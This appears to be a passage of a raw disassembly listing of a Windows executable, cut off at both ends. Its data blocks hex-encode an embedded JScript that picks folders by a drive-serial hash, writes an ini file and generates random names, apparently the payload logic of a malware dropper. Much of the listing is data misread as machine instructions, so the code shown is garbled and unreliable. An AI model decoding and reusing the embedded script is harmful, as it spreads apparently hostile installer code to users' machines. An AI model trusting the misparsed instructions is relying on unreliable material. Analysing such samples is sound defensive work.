395F9AD8h, 95FE2C4Dh, 665CFDD3h, 7F5212CEh, 0FD5574E5h dd 62679F2Bh, 9271A57Eh, 0CAFF4422h, 80E345EBh, 57F22BDAh dd 0D1524EDEh, 43805674h, 4EF8812h, 2CAC565Eh, 0AE38B62h dd 16263F4Eh, 82A1B488h, 2B8982D3h, 0C7A568FCh, 5DD229CFh dd 0B6E39B8Fh, 0D7B6E18Ch, 5EBBA44Fh, 0F6DD1FB7h, 0EABA71F9h dd 661D1371h, 2CE2FCB1h, 0CFD31467h, 8410744Dh, 18C6E3D1h dd 0E79677C9h, 0BBE7F855h, 7B068FC4h, 0CFB8ECFCh, 0C15E2BC9h dd 9FAF07E6h, 0DC785F38h, 0A0B9DEF9h, 78173BDCh, 7A3316C2h dd 0CF9287CFh, 78A737CFh, 0C8B9C4FDh, 5A545EE3h, 5102B45Ch dd 0BF3CEE3Ch, 88F689B9h dd 857B4968h, 0EFEE227Dh, 26611756h, 0A0746128h, 7DA57CB4h dd 4B131C09h, 0B15EC156h, 516FC02Ch, 2DD432E9h, 0CFF11E20h dd 29226839h, 0CFE9E899h, 435672A2h, 84115671h, 0F13E6C25h dd 0C5DC7B06h, 0D79A537Eh, 0E64370Fh, 0EC6F783Bh, 5FA21FA0h dd 4A969F1Eh, 87360284h, 0DD11F2F8h, 7E88F901h, 0F3FA698Bh dd 0A688B34Bh, 58AC2A32h, 878489AAh, 0FF9FBB3Eh, 4BDD9F32h dd 68F9578Bh, 2BAC27B1h, 13F8F5ADh, 97D8F51Dh, 0D828C302h dd 0B72A2EE3h, 0B6C0ED7Bh, 0EC8B45A2h, 697E2579h, 763CB709h dd 4FFB1814h, 0C11A185Fh, 9574E767h, 0D3BE57F5h, 463D5FE1h dd 1D53A983h, 0EBD459BEh, 7955A747h, 5FBB78E8h, 0E5A28ABCh dd 28283D38h, 0EBCC76C2h, 245FB447h, 323F1EFDh, 0B7828501h dd 8BCE8961h, 0ACF3CD5Fh, 29EBE025h, 7BF75F9Bh, 0F83D64FDh dd 0A26DBDB1h, 4C00484Dh, 34D9E2F3h, 7ED1EE2Fh, 1203D77Ah dd 0F01F1FE9h, 3DFBAFEDh, 780E9124h, 0ADBFDF88h, 21F6B982h dd 0CAE15DDFh, 0BCF0247h, 740D1ECBh, 77DC7E0Fh, 63E7736Fh dd 1F7B74BEh, 0F9178C0Fh, 0F6F740FBh, 1FDCF83Fh, 7E91293Dh dd 0DB4F24FAh, 3D2243B2h, 9FDB83B3h, 75E09DEh, 0D8B3F600h dd 8B7762D6h, 0BAF62E4Dh, 0CED2F2D8h, 0B1BDED97h, 1AAEC69Dh dd 0B1EC6B9Bh, 8EC6D5B1h, 0EC6F1B1Bh, 0C70DB1BFh, 0E5369C6Eh dd 610AE77Eh, 748927Fh, 0BCEFC9FDh, 779C19F3h, 0B5BFC33Eh dd 0B6F57705h, 0B690527h, 8AFE57CCh, 4C40567Bh, 9CE920DFh dd 545EDC7Dh, 1160B15Ah, 468C8A4Eh, 22C1697Bh, 0D855259Ch dd 0CF8591D9h, 7D7F2E9Fh, 707F3E01h, 2FC5F92Ch, 7FCA9E46h dd 601B3CF0h, 43DA269Fh, 85AF41FAh, 592A2F68h, 97CFDE81h dd 76530D1h, 0F30C153Eh, 28EDD104h, 0FD1C52Dh, 0FC6F29D0h dd 0A0256122h, 1E37901Ch, 728057Dh, 0BF2761E4h, 88BE5012h dd 0B713D8F3h, 87C8B951h, 0A427DC46h, 8D0E88D7h, 347DF2E8h dd 0E3E31680h, 0EB8EBE44h, 30003CE8h, 0BBB486h, 101A7BC6h dd 0C6515389h, 9FC197D6h, 4FF8D304h, 5F9C7489h, 42FDDE7Fh dd 7A4EFF60h, 0C2FDD031h, 0D1F72EC1h, 73BA052Fh, 5BDD031Bh dd 0EA77708Eh, 0A4DC0FFh, 87D81F69h, 0F9D3C6B2h, 0E6526658h dd 0FA093F9Fh, 0FAE4A7F2h, 61D57BD4h, 8C450F23h, 0C8B6A60Eh dd 3F05CE37h, 55801D00h, 2C72CDCCh, 0CED33066h, 66E7050Eh dd 2A4E2565h, 0C8245FCBh, 0AED24114h, 8F8CDEF7h, 0E0282431h dd 77DA92CEh, 4A3F1773h, 677E15BBh, 0D1E73DE4h, 0A71E43D0h dd 0DA51F8BAh, 805DF816h, 8F21E929h, 0E9DBE20Eh, 16EA8692h dd 8FD027D9h, 77E0CBD2h, 43FDCCD4h, 6AD3E4BAh, 0B9FF39EEh dd 0A7D49348h, 2E8EFE7Bh, 0ABE947Eh, 0E4BD1D7Eh, 0CF4FBBB3h dd 25D83CE5h, 0CDF4A1Fh, 0D70B68BFh, 9F35DE16h, 29EB0873h dd 90DFC22Fh, 947E81BEh, 92FC2447h, 49973D2Ch, 32E7B7DFh dd 43E4BAD9h, 2FC2E7E9h, 553297BFh, 0BCA7AC21h, 0BADB4CA8h dd 0EC7945E4h, 2F4D5F81h, 37FC9D79h, 92ED9D79h, 171E517h dd 9E96AD7Eh, 5FAA2BF1h, 7792FC77h, 7AB4A3F1h, 0D2F6B3F2h dd 9AEB08FFh, 2EFFEB0Fh, 0AABE947Eh, 7A1D9F8Bh, 91F49704h dd 49FBBB08h, 8908E684h, 0E4EF07B0h, 16800BCh, 858C065Ch dd 601B2962h, 600B6003h dword_41A1E0 dd 636E7566h, 6E6F6974h, 74657220h, 28677261h, 0D7B2029h ; DATA XREF: sub_403B73+28o dd 6176090Ah, 72612072h, 3D207367h, 63535720h, 74706972h dd 6772412Eh, 6E656D75h, 0D3B7374h, 6572090Ah, 6E727574h dd 67726120h, 654C2E73h, 6874676Eh, 30203E20h, 61203F20h dd 28736772h, 3A202930h, 3B222220h, 0D7D0A0Dh, 2F0A0D0Ah dd 6948202Fh, 6F726620h, 6977206Dh, 7265746Eh, 75522079h dd 61697373h, 29293A20h, 61760A0Dh, 73662072h, 203D206Fh dd 2077656Eh, 69746341h, 4F586576h, 63656A62h, 53222874h dd 70697263h, 676E6974h, 6C69462Eh, 73795365h, 4F6D6574h dd 63656A62h, 3B292274h, 0A0D0A0Dh, 92202F2Fh, 0E9E3AAA5h dd 0AA20A9A8h, 0ABA0E2A0h, 0A0DA3AEh, 20726176h, 646C6F66h dd 3D207265h, 6F736620h, 7465472Eh, 646C6F46h, 22287265h dd 225C5C2Eh, 0A0D3B29h, 2F2F0A0Dh, 0E0A58F20h, 0A4AEE5A5h dd 20E2AE20h, 6C6C6F43h, 69746365h, 0AF206E6Fh, 0A0AAA4AEh dd 0AEABA0E2h, 20A2AEA3h, 724120AAh, 20796172h, 0AAA4AEAFh dd 0ABA0E2A0h, 0A2AEA3AEh, 61760A0Dh, 75732072h, 6C6F6662h dd 73726564h, 6E203D20h, 41207765h, 79617272h, 0D3B2928h dd 3D20650Ah, 77656E20h, 756E4520h, 6172656Dh, 28726F74h dd 646C6F66h, 532E7265h, 6F466275h, 7265646Ch, 0D3B2973h dd 726F660Ah, 203B2820h, 612E6521h, 646E4574h, 203B2928h dd 6F6D2E65h, 654E6576h, 29287478h, 90A0D29h, 66627573h dd 65646C6Fh, 702E7372h, 28687375h, 74692E65h, 29286D65h dd 0A0D3B29h, 2F2F0A0Dh, 0ADE39420h, 0EFA8E6AAh, 0EFABA420h dd 0E0AEE120h, 0AEE0A8E2h, 20A8AAA2h, 0A0E2A0AAh, 0AEA3AEABh dd 0AEAF20A2h, 0E2A0A420h, 0AEE120A5h, 0ADA0A4A7h, 0A0DEFA8h dd 636E7566h, 6E6F6974h, 72696420h, 74726F73h, 202C6128h dd 7B202962h, 74657220h, 206E7275h, 442E6128h, 43657461h dd 74616572h, 2D206465h, 442E6220h, 43657461h, 74616572h dd 3B296465h, 0A0D7D20h, 2F2F0A0Dh, 0E0AE9120h, 0E3E0A8E2h dd 0AA20ACA5h, 0ABA0E2A0h, 0DA8A3AEh, 6275730Ah, 646C6F66h dd 2E737265h, 74726F73h, 72696428h, 74726F73h, 0D0A0D29h dd 202F2F0Ah, 0F1E0A581h, 0A5E120ACh, 0ADA9A8E0h, 0AD20A9EBh dd 0E0A5ACAEh, 0ADA8A220h, 0E2E1A5E7h, 0DA0E0A5h, 7261760Ah dd 72657320h, 206C6169h, 6F66203Dh, 7265646Ch, 6972442Eh dd 532E6576h, 61697265h, 6D754E6Ch, 2E726562h, 74536F74h dd 676E6972h, 0D3B2928h, 2F0A0D0Ah, 0AA91202Fh, 0EBA4A0ABh dd 0ACA5A0A2h, 0A5E1A220h, 0E4A8E620h, 0E120EBE0h, 0A9A8E0A5h dd 0A0AAA8ADh, 0A5A1202Ch, 20ACF1E0h, 0A0E2E1AEh, 20AAAEE2h dd 0A420E2AEh, 0ADA5ABA5h, 0AD20EFA8h, 0A5A420A0h, 0ECE2EFA2h dd 2F2F0A0Dh, 0AF20A820h, 0E7E3ABAEh, 20ACA5A0h, 0A5ACAEADh dd 0E1A820E0h, 0AEACAEAAh, 0AA20AEA3h, 0ABA0E2A0h, 20A0A3AEh dd 757320A2h, 6C6F6662h, 73726564h, 61760A0Dh, 61682072h dd 3D206873h, 0D3B3020h, 726F660Ah, 61762820h, 20692072h dd 3B30203Dh, 3C206920h, 72657320h, 2E6C6169h, 676E656Ch dd 203B6874h, 292B2B69h, 68090A0Dh, 20687361h, 73203D2Bh dd 61697265h, 68632E6Ch, 6F437261h, 74416564h, 20296928h dd 3834202Dh, 0D0A0D3Bh, 7361680Ah, 3D2B2068h, 39313120h dd 0D0A0D3Bh, 7261760Ah, 74756F20h, 20726964h, 7573203Dh dd 6C6F6662h, 73726564h, 7361685Bh, 20252068h, 0D3B5D39h dd 2F0A0D0Ah, 0AE91202Fh, 0A5A0A4A7h, 0A0E420ACh, 6920ABA9h dd 692E696Eh, 0A420696Eh, 0AF20EFABh, 0A4A5E0A5h, 20A8E7A0h dd 0A0E2A0AAh, 0A0A3AEABh, 69736E20h, 0AAE12D73h, 0E2AFA8E0h dd 760A0DE3h, 69207261h, 6966696Eh, 3D20656Ch, 6C6F6620h dd 2E726564h, 61657243h, 65546574h, 69467478h, 2228656Ch dd 2E696E69h, 22696E69h, 7274202Ch, 3B296575h, 6E690A0Dh dd 6C696669h, 72572E65h, 4C657469h, 28656E69h, 65735B22h dd 6F697463h, 29225D6Eh, 690A0D3Bh, 6966696Eh, 572E656Ch dd 65746972h, 656E694Ch, 69642228h, 20223D72h, 756F202Bh dd 72696474h, 0A0D3B29h, 2F2F0A0Dh, 0E1A08C20h, 0EBA2A8E1h dd 0A0ABA320h, 0E5EBADE1h, 0E120A820h, 0A0ABA3AEh, 0E5EBADE1h dd 0AB91202Eh, 0ACAEA3AEh, 0A8E7E120h, 0E2A5A0E2h, 0E120EFE1h dd 0A0ABA3AEh, 0EFA0ADE1h, 0A0ABA32Bh, 0EFA0ADE1h, 61760A0Dh dd 6F762072h, 206C6577h, 656E203Dh, 72412077h, 28796172h dd 2C226122h, 22652220h, 6922202Ch, 22202C22h, 202C226Fh dd 2C227522h, 22792220h, 0A0D3B29h, 20726176h, 736E6F63h dd 6E616E6Fh, 203D2074h, 2077656Eh, 61727241h, 62222879h dd 22202C22h, 202C2263h, 2C226422h, 22662220h, 6722202Ch dd 22202C22h, 202C2268h, 2C226A22h, 226B2220h, 6C22202Ch dd 22202C22h, 202C226Dh, 2C226E22h, 22702220h, 7122202Ch dd 22202C22h, 202C2272h, 2C227322h, 22742220h, 7622202Ch dd 22202C22h, 202C2277h, 2C227822h, 227A2220h, 0A0D3B29h dd 2F2F0A0Dh, 0ABAE8A20h, 0E1A5E7A8h, 20AEA2E2h, 0A3AEABE1h dd 0A220A2AEh, 0A7A0AD20h, 0A8ADA0A2h, 760A0DA8h, 73207261h dd 616C6C79h, 73656C62h, 32203D20h, 68202B20h, 20687361h dd 3B332025h, 0A0D0A0Dh, 20726176h, 656D616Eh, 22203D20h dd 0D203B22h, 7261760Ah, 6F707620h db 73h ; =============== S U B R O U T I N E ======================================= sub_41A7C9 proc near ; CODE XREF: sub_41AAFF+1p ; sub_41AF33+19p ... ; FUNCTION CHUNK AT 0041A81B SIZE 00000048 BYTES ; FUNCTION CHUNK AT 0041A8CC SIZE 0000005C BYTES ; FUNCTION CHUNK AT 0041A92C SIZE 00000067 BYTES ; FUNCTION CHUNK AT 0041A9A4 SIZE 00000042 BYTES and ds:72657320h, bh imul esp, [ecx+6Ch], 6168632Eh jb short loc_41A81B sub_41A7C9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41A7D8 proc near ; CODE XREF: sub_41AF33+27Cp ; sub_41B5DB+5Fp ... outsd db 64h, 65h inc ecx jz short near ptr loc_41A800+6 xor [ecx], ch and ds:776F7620h, ah ; CODE XREF: sub_41A7C9+6Dj db 65h insb db 2Eh ; CODE XREF: .data:0041AD18p ; .data:0041AD20p ... insb sub_41A7D8 endp ; sp-analysis failed outs dx, byte ptr gs:[esi] db 67h jz near ptr 0A857h cmp ecx, ds:7261760Ah and [ebx+70h], ah outsd jnb short loc_41A81B cmp eax, 72657320h loc_41A800: ; CODE XREF: sub_41A7D8+4j imul esp, [ecx+6Ch], 6168632Eh jb short near ptr loc_41A848+4 outsd db 64h, 65h inc ecx jz short near ptr loc_41A836+1 xor [ecx], ch and ds:6E6F6320h, ah jnb short sub_41A888 outsb popa ; START OF FUNCTION CHUNK FOR sub_41A7C9 loc_41A81B: ; CODE XREF: sub_41A7C9+Dj ; .data:0041A7F9j outsb jz short near ptr loc_41A848+4 insb outs dx, byte ptr gs:[esi] db 67h jz near ptr 0A88Ch cmp ecx, ds:2F0A0D0Ah ; CODE XREF: sub_41A9E6:loc_41AAB0p ; .data:0041AC4Ep ... das and [ecx-575A5456h], dl mov ds:20ACA5A0h, al loc_41A836: ; CODE XREF: .data:0041A80Dj loope near ptr loc_41A7E0+3 scasb mov ds:660A0DA8h, eax outsd jb short near ptr loc_41A860+1 sub [esi+61h], dh jb short loc_41A866 push 20h loc_41A848: ; CODE XREF: .data:0041A807j ; sub_41A7C9+53j cmp eax, 203B3020h push 20h cmp al, 20h jnb short loc_41A8CC insb insb popa bound ebp, [ebp+73h] cmp esp, [eax] push 2Bh sub ebp, [ecx] loc_41A860: ; CODE XREF: sub_41A7C9+76j and [ebx+0Dh], bh ; END OF FUNCTION CHUNK FOR sub_41A7C9 ; =============== S U B R O U T I N E ======================================= sub_41A863 proc near ; CODE XREF: sub_41B5DB+4Ep or cl, [ecx] outsb loc_41A866: ; CODE XREF: sub_41A7C9+7Bj popa insd and gs:[ebx], ch cmp eax, 6E6F6320h jnb short near ptr loc_41A8E0+1 outsb popa outsb jz short loc_41A8D2 arpl [eax+6Fh], si jnb short near ptr loc_41A89B+1 and eax, 6E6F6320h jnb short near ptr loc_41A8F1+1 outsb popa outsb jz short near ptr loc_41A8B5+1 sub_41A863 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41A888 proc near ; CODE XREF: .data:0041A817j ; sub_41B794+14Ap insb outs dx, byte ptr gs:[esi] db 67h jz near ptr 0A8F6h pop ebp and [ebx], ch and [esi+6Fh], dh ja short loc_41A8FB insb pop ebx jbe short near ptr loc_41A905+5 outsd loc_41A89B: ; CODE XREF: sub_41A863+17j jnb short near ptr sub_41A8BB+2 and eax, 776F7620h db 65h insb db 2Eh insb outs dx, byte ptr gs:[esi] db 67h jz near ptr 0A913h pop ebp cmp ecx, ds:7076090Ah outsd jnb short near ptr loc_41A8D2+3 loc_41A8B5: ; CODE XREF: sub_41A863+23j sub edi, ds:72657320h sub_41A888 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41A8BB proc near ; CODE XREF: .data:0041AD2Bp ; .data:0041AD4Bp ... imul esp, [ecx+6Ch], 6168632Eh jb short near ptr loc_41A905+2 outsd db 64h, 65h inc ecx jz short near ptr loc_41A8F1+1 push 29h sub_41A8BB endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_41A7C9 loc_41A8CC: ; CODE XREF: sub_41A7C9+88j and [ebx], ch and [ecx], dh cmp [ebx], edi loc_41A8D2: ; CODE XREF: sub_41A863+12j ; sub_41A888+2Bj or eax, 7063090Ah outsd jnb short near ptr loc_41A8F9+1 sub edi, ds:72657320h loc_41A8E0: ; CODE XREF: sub_41A863+Dj imul esp, [ecx+6Ch], 6168632Eh jb short loc_41A92C outsd db 64h, 65h inc ecx jz short loc_41A917 push 20h loc_41A8F1: ; CODE XREF: sub_41A863+1Ej ; sub_41A8BB+Dj sub esp, [eax] xor [ecx], ebp and [ebx], ch and [ecx], dh loc_41A8F9: ; CODE XREF: sub_41A7C9+10Fj xor edi, [ebx] loc_41A8FB: ; CODE XREF: sub_41A888+Cj or eax, 0A0D7D0Ah or eax, 202F2F0Ah ; CODE XREF: sub_41A7C9+152j loc_41A905: ; CODE XREF: sub_41A8BB+7j ; sub_41A7C9+157j ... test [esi-545D5F5Fh], ch out dx, eax movsd lodsb and [edx-1F5051E0h], ah movsd movsb movsd loc_41A917: ; CODE XREF: sub_41A7C9+124j stosd icebp lodsd lodsd jmp short near ptr loc_41A900+2 ; --------------------------------------------------------------------------- loc_41A91D: ; CODE XREF: sub_41A7C9+164j and cl, ah stosd jecxz short near ptr loc_41A905+4 mov al, ds:0E120E5EFh scasb ; END OF FUNCTION CHUNK FOR sub_41A7C9 ; --------------------------------------------------------------------------- dd 0E1A0ABA3h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41A7C9 loc_41A92C: ; CODE XREF: sub_41A7C9+11Ej lodsd jecxz short loc_41A91D and [edx-525155E0h], ah loc_41A935: ; CODE XREF: sub_41A7C9:loc_41A991j movsd out 0Dh, al ; DMA controller, 8237A-5. ; master clear. ; Any OUT clears the ctrlr (must be re-initialized) or ch, [ecx+66h] and [eax], ch jnb short loc_41A9A4 jb short loc_41A9AA popa insb arpl cs:[eax+61h], bp jb short near ptr loc_41A98B+1 outsd db 64h, 65h inc ecx jz short near ptr loc_41A976+1 xor al, 29h and [esi], bh and ds:0A0D2932h, dh or [esi+61h], ebp insd and gs:[ebx], ch cmp eax, 6E6F6320h jnb short loc_41A9D6 outsb popa outsb jz short loc_41A9C7 arpl [eax+6Fh], si jnb short loc_41A991 and eax, 6E6F6320h loc_41A976: ; CODE XREF: sub_41A7C9+184j jnb short loc_41A9E7 outsb popa outsb jz short near ptr loc_41A9AA+1 insb outs dx, byte ptr gs:[esi] db 67h jz near ptr 0A9EBh pop ebp cmp ecx, ds:2F0A0D0Ah das loc_41A98B: ; CODE XREF: sub_41A7C9+17Ej and [edi-1E575060h], al loc_41A991: ; CODE XREF: sub_41A7C9+1A6j jmp short loc_41A935 ; END OF FUNCTION CHUNK FOR sub_41A7C9 ; --------------------------------------------------------------------------- db 0A0h dd 0A820ACA5h, 0E420EFACh, 0A0ABA9A0h, 0A820A220h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41A7C9 loc_41A9A4: ; CODE XREF: sub_41A7C9+174j lodsd test al, 0E8h stosb jecxz short near ptr loc_41A9B6+1 loc_41A9AA: ; CODE XREF: sub_41A7C9+176j ; sub_41A7C9+1B2j or ch, [ecx+6Eh] imul esp, [esi+69h], 572E656Ch jb short near ptr loc_41AA1B+4 loc_41A9B6: ; CODE XREF: sub_41A7C9+1DFj jz short near ptr loc_41AA1B+2 dec esp imul ebp, [esi+65h], 616E2228h insd db 65h cmp eax, 202B2022h loc_41A9C7: ; CODE XREF: sub_41A7C9+1A1j outsb popa insd and gs:[ebx], ch and [edx+65h], dh jz short near ptr loc_41AA2F+4 jb short near ptr loc_41AA38+3 sub [ecx], ch loc_41A9D6: ; CODE XREF: sub_41A7C9+19Cj and [ebx], ch and [edx], ah db 2Eh, 64h insb insb and ch, [ecx] cmp ecx, ds:2F0A0D0Ah ; END OF FUNCTION CHUNK FOR sub_41A7C9 ; =============== S U B R O U T I N E ======================================= sub_41A9E6 proc near ; CODE XREF: .data:0041AEADp ; sub_41B794+F8p var_14 = dword ptr -14h ; FUNCTION CHUNK AT 0041AAAC SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0041AAB0 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0041AAE3 SIZE 0000001C BYTES das loc_41A9E7: ; CODE XREF: sub_41A7C9:loc_41A976j and [esi+61h], dh jb short loc_41AA0C outsd push ebx push 206C6C65h cmp eax, 63535720h jb short loc_41AA63 jo short near ptr loc_41AA6F+1 db 2Eh inc ebx jb short loc_41AA65 popa jz short loc_41AA68 dec edi bound ebp, [edx+65h] arpl [eax+ebp+22h], si push edi loc_41AA0C: ; CODE XREF: sub_41A9E6+4j push ebx arpl [edx+69h], si jo short near ptr loc_41AA84+2 db 2Eh push ebx push 226C6C65h sub [ebx], edi loc_41AA1B: ; CODE XREF: sub_41A7C9:loc_41A9B6j ; sub_41A7C9+1EBj or eax, 202F2F0Ah outsd push ebx push 2E6C6C65h inc ebx jnz short near ptr loc_41AA9A+2 jb short loc_41AA91 outsb jz short near ptr loc_41AA71+2 loc_41AA2F: ; CODE XREF: sub_41A7C9+207j imul esi, [edx+65h], 726F7463h jns short loc_41AA58 loc_41AA38: ; CODE XREF: sub_41A7C9+209j cmp eax, 74654720h push esp push 72615065h outs dx, byte ptr gs:[esi] jz short loc_41AA82 or eax, 202F2F0Ah push edi push ebx arpl [edx+69h], si jo short loc_41AAC7 db 2Eh inc ebp arpl [eax+6Fh], bp loc_41AA58: ; CODE XREF: sub_41A9E6+50j sub [edi+53h], ch push 2E6C6C65h inc ebx jnz short near ptr loc_41AAD4+1 loc_41AA63: ; CODE XREF: sub_41A9E6+12j jb short near ptr loc_41AAC9+1 loc_41AA65: ; CODE XREF: sub_41A9E6+18j outsb jz short loc_41AAAC loc_41AA68: ; CODE XREF: sub_41A9E6+1Bj imul esi, [edx+65h], 726F7463h loc_41AA6F: ; CODE XREF: sub_41A9E6+14j jns short loc_41AA9A loc_41AA71: ; CODE XREF: sub_41A9E6+47j cmp ecx, ds:202F2F0Ah db 66h jnb short near ptr loc_41AAE8+1 db 2Eh inc ebx jb short loc_41AAE3 popa jz short near ptr loc_41AAE5+1 inc esi loc_41AA82: ; CODE XREF: sub_41A9E6+5Fj outsd insb loc_41AA84: ; CODE XREF: sub_41A9E6+2Aj db 64h, 65h jb short loc_41AAB0 sub_41A9E6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41AA88 proc near ; CODE XREF: .data:0041ACDDp and ch, [esi] pop esp pop esp popa jnb short loc_41AAF0 jnb short loc_41AAF5 loc_41AA91: ; CODE XREF: sub_41A9E6+44j db 66h and ch, [ecx] loc_41AA94: ; DATA XREF: .data:off_40C5E0o cmp ecx, ds:0FFFC000Ah loc_41AA9A: ; CODE XREF: sub_41A9E6:loc_41AA6Fj ; sub_41A9E6+42j jmp fword ptr [eax+58h] sub_41AA88 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 30h, 0, 10h dd 4415FF50h, 83100030h, 0BD8D0CC4h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41A9E6 loc_41AAAC: ; CODE XREF: sub_41A9E6+80j add ah, bh ; END OF FUNCTION CHUNK FOR sub_41A9E6 ; --------------------------------------------------------------------------- dw 0FFFFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41A9E6 loc_41AAB0: ; CODE XREF: sub_41A9E6:loc_41AA84j call near ptr loc_41A824+2 pop edi leave retn ; END OF FUNCTION CHUNK FOR sub_41A9E6 ; =============== S U B R O U T I N E ======================================= sub_41AAB8 proc near ; CODE XREF: sub_41A9E6+111p ; sub_41BC50+11Fp ... arg_0 = dword ptr 4 test ecx, ecx push esi mov esi, eax mov eax, [esp+4+arg_0] jz short loc_41AAD4 test eax, eax jz short loc_41AAD4 loc_41AAC7: ; CODE XREF: sub_41A9E6+6Bj test esi, esi loc_41AAC9: ; CODE XREF: sub_41A9E6:loc_41AA63j jle short loc_41AAD4 loc_41AACB: ; CODE XREF: sub_41AAB8+1Aj mov dl, [ecx] mov [eax], dl inc eax inc ecx dec esi jnz short loc_41AACB loc_41AAD4: ; CODE XREF: sub_41AAB8+9j ; sub_41AAB8+Dj ... mov eax, [esp+4+arg_0] pop esi retn sub_41AAB8 endp ; --------------------------------------------------------------------------- loc_41AADA: ; CODE XREF: sub_41AF33+170p ; .data:0041BAE0p push esi push dword ptr [esp+8] ; --------------------------------------------------------------------------- db 0FFh db 15h, 4, 30h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41A9E6 loc_41AAE3: ; CODE XREF: sub_41A9E6+96j add [eax], dl loc_41AAE5: ; CODE XREF: sub_41A9E6+99j mov esi, eax push esi loc_41AAE8: ; CODE XREF: sub_41A9E6+91j push 40h call dword ptr ds:10003000h loc_41AAF0: ; CODE XREF: sub_41AA88+5j mov ecx, [esp+1Ch+var_14] push eax loc_41AAF5: ; CODE XREF: sub_41AA88+7j mov eax, esi call sub_41AAB8 pop ecx pop esi retn ; END OF FUNCTION CHUNK FOR sub_41A9E6 ; =============== S U B R O U T I N E ======================================= sub_41AAFF proc near ; CODE XREF: .data:0041AC47p ; .data:0041AC72p push edi call sub_41A7C9 mov edi, eax mov eax, [esi+4] test eax, eax jnz short loc_41AB1C push 10003074h loc_41AB13: ; CODE XREF: sub_41AAFF+27j push edi call dword ptr ds:1000300Ch jmp short loc_41AB42 ; --------------------------------------------------------------------------- loc_41AB1C: ; CODE XREF: sub_41AAFF+Dj cmp eax, 0FFFFFFFFh jnz short loc_41AB28 push 1000306Ch jmp short loc_41AB13 ; --------------------------------------------------------------------------- loc_41AB28: ; CODE XREF: sub_41AAFF+20j cmp eax, 1 jnz short loc_41AB42 push dword ptr [esi+1498h] push 10003060h push edi call dword ptr ds:10003044h add esp, 0Ch loc_41AB42: ; CODE XREF: sub_41AAFF+1Bj ; sub_41AAFF+2Cj mov eax, edi pop edi retn sub_41AAFF endp ; --------------------------------------------------------------------------- aLdG4@_0 db '‹D$',8,'£4@',0 dw 8B10h dd 0A3102444h, 10004030h, 0C24448Bh, 2CA35756h, 0E8100040h dd 3CBh, 86F6F08Bh, 810h, 561C7404h, 0FFFF0FE8h, 80E859FFh dd 8BFFFFFFh, 0FCA0E8F8h, 0FF50FFFFh, 300815h, 8330EB10h dd 7400047Eh, 0FF65E823h, 0F88BFFFFh, 0FFFC85E8h, 83D8BFFh dd 50100030h, 86F6D7FFh, 810h, 560C7502h, 7EBD7FFh, 0FECAE856h dd 5F59FFFFh db 5Eh, 0C3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+0Ch] mov ds:10004034h, eax mov eax, [ebp+14h] mov ds:10004030h, eax mov eax, [ebp+10h] push ebx push edi mov ds:1000402Ch, eax call sub_41AF33 mov ebx, eax cmp dword ptr [ebx+4], 1 jz short loc_41ABF6 mov edi, ebx call sub_41B59B loc_41ABF6: ; CODE XREF: .data:0041ABEDj push ebx call sub_41B5DB pop ecx mov ecx, [ebx+4] cmp ecx, 0FFFFFFFFh jz short loc_41AC34 mov eax, [ebx] sub eax, 0 jz short loc_41AC26 dec eax jz short loc_41AC15 dec eax jz short loc_41AC1D dec eax jnz short loc_41AC34 loc_41AC15: ; CODE XREF: .data:0041AC0Dj push ebx call sub_41B903 jmp short loc_41AC31 ; --------------------------------------------------------------------------- loc_41AC1D: ; CODE XREF: .data:0041AC10j mov edi, ebx call sub_41BC50 jmp short loc_41AC34 ; --------------------------------------------------------------------------- loc_41AC26: ; CODE XREF: .data:0041AC0Aj cmp ecx, 1 jnz short loc_41AC34 push ebx call sub_41BB8E loc_41AC31: ; CODE XREF: .data:0041AC1Bj pop ecx mov ebx, eax loc_41AC34: ; CODE XREF: .data:0041AC03j ; .data:0041AC13j ... test byte ptr [ebx+810h], 4 push esi jz short loc_41AC5C push ebx call sub_41B794 pop ecx mov esi, ebx call sub_41AAFF mov edi, eax call near ptr loc_41A824+2 push eax call dword ptr ds:10003008h jmp short loc_41ACA1 ; --------------------------------------------------------------------------- loc_41AC5C: ; CODE XREF: .data:0041AC3Cj cmp dword ptr [ebx+4], 0 jz short loc_41AC9A push 8 pop ecx lea esi, [ebx+818h] lea edi, [ebp-20h] rep movsd mov esi, ebx call sub_41AAFF lea edi, [ebx+818h] push ebx mov [ebx+820h], eax mov dword ptr [edi], 3 call sub_41B794 pop ecx push 8 pop ecx lea esi, [ebp-20h] rep movsd jmp short loc_41ACA1 ; --------------------------------------------------------------------------- loc_41AC9A: ; CODE XREF: .data:0041AC60j push ebx call sub_41B794 pop ecx loc_41ACA1: ; CODE XREF: .data:0041AC5Aj ; .data:0041AC98j cmp dword ptr [ebx+4], 1 pop esi jz short loc_41ACE3 mov ecx, ebx call sub_41B75E test byte ptr [ebx+810h], 40h jz short loc_41ACCE cmp dword ptr [ebx], 1 jnz short loc_41ACCE mov eax, [ebx+808h] test eax, eax jz short loc_41ACCE push eax call dword ptr ds:10003014h loc_41ACCE: ; CODE XREF: .data:0041ACB6j ; .data:0041ACBBj ... test byte ptr [ebx+810h], 20h jz short loc_41ACE3 push dword ptr ds:10004018h call sub_41AA88 pop ecx loc_41ACE3: ; CODE XREF: .data:0041ACA6j ; .data:0041ACD5j test byte ptr [ebx+810h], 2 jnz short loc_41ACF3 push ebx call dword ptr ds:10003008h loc_41ACF3: ; CODE XREF: .data:0041ACEAj pop edi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 8Ch mov eax, [ebp+0Ch] push ebx push esi mov ds:10004034h, eax mov eax, [ebp+14h] xor esi, esi push edi mov ds:10004030h, eax mov [ebp-4], esi call near ptr loc_41A7E8+1 mov [ebp-0Ch], eax call near ptr loc_41A7E8+1 push dword ptr [ebp-0Ch] mov 